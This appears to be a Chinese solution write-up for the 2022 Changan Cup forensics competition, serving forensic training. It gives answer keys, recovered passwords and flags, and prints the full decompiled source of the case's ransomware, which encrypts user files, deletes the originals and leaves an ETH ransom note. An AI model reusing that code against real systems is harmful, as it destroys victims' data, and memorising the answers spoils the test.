目录
2. 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2
5. 检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)
7. 检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)
8. 检材1中,网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)
9. 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?
10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是
11. 检材2中,windows账户Web King的登录密码是
12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3
13. 检材2中,powershell中输入的最后一条命令是
16. 检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)
17. 检材2中,运行的数据库服务版本号是(答案格式如下:10.1)
18. 上述数据库debian-sys-maint用户的初始密码是
20. 检材3中,监听33050端口的程序名(program name)为
27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压 检材4
28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为
29. 还原全部被删改数据,共有多少名用户的会员等级为'LV3'
31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录
38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为
49.解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123”)
50 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值
背景
案情背景:某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。
所用软件:火眼证据分析软件、火眼仿真取证软件、VMware Workstation Pro
检材密码:2022.4th.changancup!
检材链接:链接:https://pan.baidu.com/s/1nTOUzAp5zsdU3ogkuAuCjw?pwd=1234
提取码:1234
--来自百度网盘超级会员V1的分享
检材一
根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题
1. 检材1的SHA256值为
利用火眼证据分析软件导入检材一.e01,利用软件自带工具(比赛时用了其他计算哈希值的工具可能结果会出现错误)得出SHA256的值为:9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
2. 分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2
查看技术员IP地址可以从软件分析中,找到登录日志,就可以找到技术员的IP地址为172.16.80.100
3. 检材1中,操作系统发行版本号为
利用火焰仿真软件,进行仿真,直接可以看到操作系统发行版本号为:
CentOS Linux release 7.5.1804 (Core)
4. 检材1系统中,网卡绑定的静态IP地址为
有两种方法,第一种就是仿真起来之后(账号:root,密码:123456(重置)),输入ifconfig命令可以查看,IP地址为:172.16.80.133
还有一种就是通过软件,直接查看
5. 检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)
根据历史命令,可以看到很多操作目录都是在/web/app/这个目录下,在虚拟机中进入,在这个目录下,发现所有的jar包都在里面,所以网站jar包所存放的目录是:/web/app/
6. 检材1中,监听7000端口的进程对应文件名为
此时应该尝试启动网站,因为网站被破坏过,所以启动不了。有一个启动脚本,但是被删除了,可以从历史命令中查看,所以网站暂时启动不了
查看所有端口,发现没有开启7000端口
在历史命令中搜索jar包,发现经常操作的就是这个目录/web/app/下的几个jar包,将它们导出之后依次查看,发现在cloud.jar这个包中,发现有7000端口。所以文件名应该是cloud.jar
网站重构需要先启动后端,才能启动前端,检材1是前端部分,这时候先暂停做检材一,去做检材二,看看能不能找到文件,把网站重构起来。网站重构链接:2022第四届长安杯(网站重构部分)_要不耻瞎问的博客-CSDN博客
7. 检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)
在浏览器记录中可以看到网站管理后台对应的网络端口为9090
8. 检材1中,网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)
将网站重构之后,会出现APK下载的二维码, 在浏览器搜索二维码解码器,将二维码放入,解析就可以得到APK的下载地址为https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
9. 检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?
导出admin-api.jar包进行反编译查看,对关键词password进行搜索,可以看到通过MD5方式进行加密。
10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是
在admin-api.jar包的application.properties的这个位置,可以找到 MD5加密所使用的盐值是XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
检材二
根据IP地址落地及后续侦查,抓获了搭建网站的技术员,扣押了其个人电脑并制作镜像“检材2”,分析所有掌握的检材回答下列问题
11. 检材2中,windows账户Web King的登录密码是
在取证软件中,在基本信息里的用户列表中可以看到密码为135790
12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3
在xshell中可以找到远程连接的IP地址,其中一个是检材一中远程连接的,则这道题答案就是172.16.20.128
13. 检材2中,powershell中输入的最后一条命令是
powershell历史命令的目录是users\Web King\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
这是通过复盘之后才能找到的。
可以看到最后一条命令是ipconfig
要查这条命令,可以进行仿真,在进入power shell界面,按方向键上就可以得到上一次的历史命令
14. 检材2中,下载的涉案网站源代码文件名为
在谷歌浏览器的下载记录中可以找到三个符合条件的压缩包,此时还无法判断,但通过后面 ,可以判断出是ZTuoExchange_framework-master.zip
15. 检材2中,网站管理后台root账号的密码为
这里还是在谷歌浏览器中有保存密码密码为root
16. 检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)
对检材二仿真之后,在命令行或者power shell中,输入wsl -l 就可以查看到wsl子系统发行版本号为:Ubuntu 20.04
17. 检材2中,运行的数据库服务版本号是(答案格式如下:10.1)
在windows中,看不到有数据库服务在运行,所以是在wsl子系统中的数据库,在子系统中通过命令mysqld -v 可以看到版本号为8.0.30
18. 上述数据库debian-sys-maint用户的初始密码是
这个debian-sys-maint用户只有Debian或Ubuntu服务器才有,所以如果您的服务器是Debain或Ubuntu,debian-sys-maint是个Mysql安装之后自带的用户,具体作用是重启及运行mysql服务,不过这个用户也有一个安全问题就是他的权限和ROOT是一样的,并且密码可以在/etc某个文件中找到。
具体位置在wsl子系统目录下的/etc/mysql/文件夹中的 debian.cnf文件,将它导出后查看
检材2.E01/分区6/Users/Web King/AppData/Local/Packages/CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc/LocalState/rootfs/etc/mysql/debian.cnf
初始密码为:ZdQfi7vaXjHZs75M
19. 检材3服务器root账号的密码是
在系统SSH的系统命令中可以看到远程登陆过检材三服务器,密码为:h123456
检材三
根据网站前端和技术员个人电脑上的线索,发现了网站后端所在的服务器IP并再次调证取得“检材3”,分析所有掌握的检材回答下列问题
20. 检材3中,监听33050端口的程序名(program name)为
查看检材三中,所开启的端口里面没有发现33050端口,所以33050端口没有开启,我们去历史命令中去查看,发现里面经常提到docker容器,这个东西。
我们可以把这个文件导出后看一下。在历史命令中可以找到这个文件的位置,将他导出查看。
在这里就可以看到33050这个端口,然后将docker容器启动。
在这就可以看到33050端口对应的文件名为docker-proxy
21. 除MySQL外,该网站还依赖以下哪种数据库
在第10题中所在的admin-api.jar包中可以看到除了用了MySQL之外,还用了mongodb
在历史命令也可以看到使用了Redis.MongoDB 数据库
22. 检材3中,MySQL数据库root账号的密码是
依旧在application.properties中可以找到MySQL数据库root账号的密码是shh17001
23. 检材3中,MySQL数据库在容器内部的数据目录为
在之前导出的docker-compose.yml的文件中就可以查看到MySQL数据库的目录为/var/lib/mysql
24. 涉案网站调用的MySQL数据库名
还是在admin-api.jar包的r的配置文件application.properties中可以看到对应的数据库名为b1
在/data/mysql/mysql中找不到b1这个数据库,通过历史命令可以看到是将b1删除了,我们可以在检材二中找到名为b1的文件夹,将它导出后放在/data/mysql/mysql目录下,进行恢复。
25. 勒索者在数据库中修改了多少个用户的手机号
在
/data/mysql/db里面有
8eda4cb0b452.log日志文件,通过搜索update可以找到三个用户的手机号
26. 勒索者在数据库中删除的用户数量为
还是在
8eda4cb0b452.log日志文件中,通过搜索delete可以看到删除了28个用户
27. 还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压 检材4
利用弘联自带数据库分析工具,在b1中的可以看到两个登录IP,一个是172.16.80.100是技术员自己IP,那么答案就是另一个IP172.16.80.197
28. 还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为
网站重构之后登录,在会员管理中搜索用户id为500的用户,找到之后,查看里可以看到HT币钱包地址为cee631121c2ec9232f3a2f028ad5c89b
29. 还原全部被删改数据,共有多少名用户的会员等级为'LV3'
利用火眼证据分析软件自带的数据库取证工具,对数据库进行分析。
在b1下面的member表中,member_grade_id就是会员等级。通过查询一共有158个用户,但是之前删除28个用户里面包括6个3级会员,所以一共是164个
30. 还原全部被删改数据,哪些用户ID没有充值记录
在b1的member_wallet表中,可以通过导出表,查看 318,989两个用户没有充值
通过语句查询也是318,989两个用户
31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录
通过查询,产生了1000笔交易
32. 还原全部被删改数据,该网站中充值的USDT总额为
该网站中充值的USDT总额为408228
检材四
.根据前期侦查分析,通过技术手段找到了幕后老板,并对其使用的安卓模拟器“检材4”进行了固定。分析所有掌握的检材,回答下列问题
33. 嫌疑人使用的安卓模拟器软件名称是
将检材四解压之后,出现一个后缀名为npbk的文件,浏览器搜索之后,会出现提示是关于夜神模拟器的,所以安卓模拟器软件应该是夜神模拟器。
34. 检材4中,“老板”的阿里云账号
将他直接导入火眼证据分析软件,是无法进行分析,通过搜索,有篇文章提示解压后,后缀名为vmdk,会进行分析。在微信聊天记录中,找到账号为 forensixtech1
35. 检材4中安装的VPN工具的软件名称是
工具是 v2rayNG
36. 上述VPN工具中记录的节点IP是
节点IP为38.68.135.18
37. 检材4中,录屏软件安装时间为
在应用列表中找到一个包名为com.jiadi.luping的软件,安装时间为2022-10-19 10:50:27
38. 上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为
原始文件名为0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d
39. 上述录屏软件登录的手机号是
在数据库文件夹里找到了
record.db
和record.db-wal
,导出后用navicat可以查看,moblie里面可以找到软件登录的手机号是18645091802
还有一种方法就是启动夜神模拟器模拟,在注销账号里可以直接查看手机号
40. 检材4中,发送勒索邮件的邮箱地址为
在收件箱里就可以直接找到 邮箱地址skterran@163.com
exe分析
根据邮件,我们在检材二中可以找到,加密解密软件,和加密文件,将它导出查看。
41. 分析加密程序,编译该加密程序使用的语言是
这道题导出后直接看图标就能看出来是python的图标,如果不放心,可以通过IDA进行查看
42. 分析加密程序,它会加密哪些扩展名的文件
知道了文件时python写的,此时就需要将exe文件反编译为python脚本,反编译之后可以查看到有一行写了if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:,所以加密文件的扩展名为:txt,jpg,xls,docx
# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]# Embedded file name: encrypt_file_1.py# Compiled at: 1995-09-28 00:18:56# Size of source mod 2**32: 272 bytesimport timefrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5import ospubkey = '-----BEGIN PUBLIC KEY-----\n(有风险提示所以删除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n" class XORCBC: def __init__(self, key: bytes): self.key = bytearray(key) self.cur = 0 def encrypt(self, data: bytes) -> bytes: data = bytearray(data) for i in range(len(data)): tmp = data[i] data[i] ^= self.key[self.cur] self.key[self.cur] = tmp self.cur = (self.cur + 1) % len(self.key) return bytes(data) print('加密程序V1.0')print('文件正在加密中~~~~~~~~~~~~~~~~~~\n') def run_finall(): for filepath, dirnames, filenames in os.walk(os.getcwd()): for filename in filenames: if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename: ExtensionPath = os.path.splitext(filename)[(-1)] if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath: time.sleep(3) data_file = os.path.join(filepath, filename) rsakey = RSA.import_key(pubkey) cipher = Cipher_pkcs1_v1_5.new(rsakey) xor_key = os.urandom(16) xor_obj = XORCBC(xor_key) outf = open(data_file + '_encrypted', 'wb') encrypted_xor_key = cipher.encrypt(xor_key) outf.write(encrypted_xor_key) buffer_size = 4096 with open(data_file, 'rb') as (f): while True:data = f.read(buffer_size)if not data: breakoutf.write(xor_obj.encrypt(data)) outf.close() os.remove(data_file) run_finall() def redme(): try: dir = os.path.join(os.path.expanduser('~'), 'Desktop') print(dir) with open(dir + '/!READ_ME.txt', 'w') as (ff): ff.write(msg) except: dir1 = os.getcwd() print(dir1) with open(dir1 + '/!READ_ME.txt', 'w') as (ff): ff.write(msg) print('\n加密完成~~~~~~~~~~~~~~~~~~')os.system('pause')# okay decompiling .\encrypt_file_1.pyc
43. 分析加密程序,是通过什么算法对文件进行加密的
文件内容data与key进行异或,类名是XORCBC
def encrypt(self, data: bytes) -> bytes: data = bytearray(data) for i in range(len(data)): tmp = data[i] data[i] ^= self.key[self.cur] self.key[self.cur] = tmp self.cur = (self.cur + 1) % len(self.key)
44. 分析加密程序,其使用的非对称加密方式公钥后5位为?
代码中有提示,公钥的后5位是u+w==
pubkey = '-----BEGIN PUBLIC KEY-----\n(有风险提示所以删除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'
45. 被加密文档中,FLAG1的值是
同样的方法对解密软件decrypt_file.exe进行反编译,在代码中可以找到密码,进行解密,解密之后在文档里找到了FLAG1的值为TREFWGFS
APK
46. 恶意APK程序的包名为
通过之前第8题找到的软件下载地址,下载软件,将他导入弘联的雷电App智能分析软件中可以看到包名为 cn.forensix.changancup
47. APK调用的权限包括
这里有四个权限,但比赛中,选项只有READ_EXTERNAL_STORAGE; WRITE_EXTERNAL_STORAGE
48. 解锁第一关所使用的FLAG2值为
将软件仿真起来之后,在主页面找到需要填写FLAG2的值,对软件先进行脱壳,再反编译,反编译之后进行搜索flag2,可以找到FLAG的值为MATSFRKG
49.解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123”)
TDQ2UWP9
50 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值
a_asd./1imc2)dd1234]_+=+
来源地址:https://blog.csdn.net/m0_63689511/article/details/127615282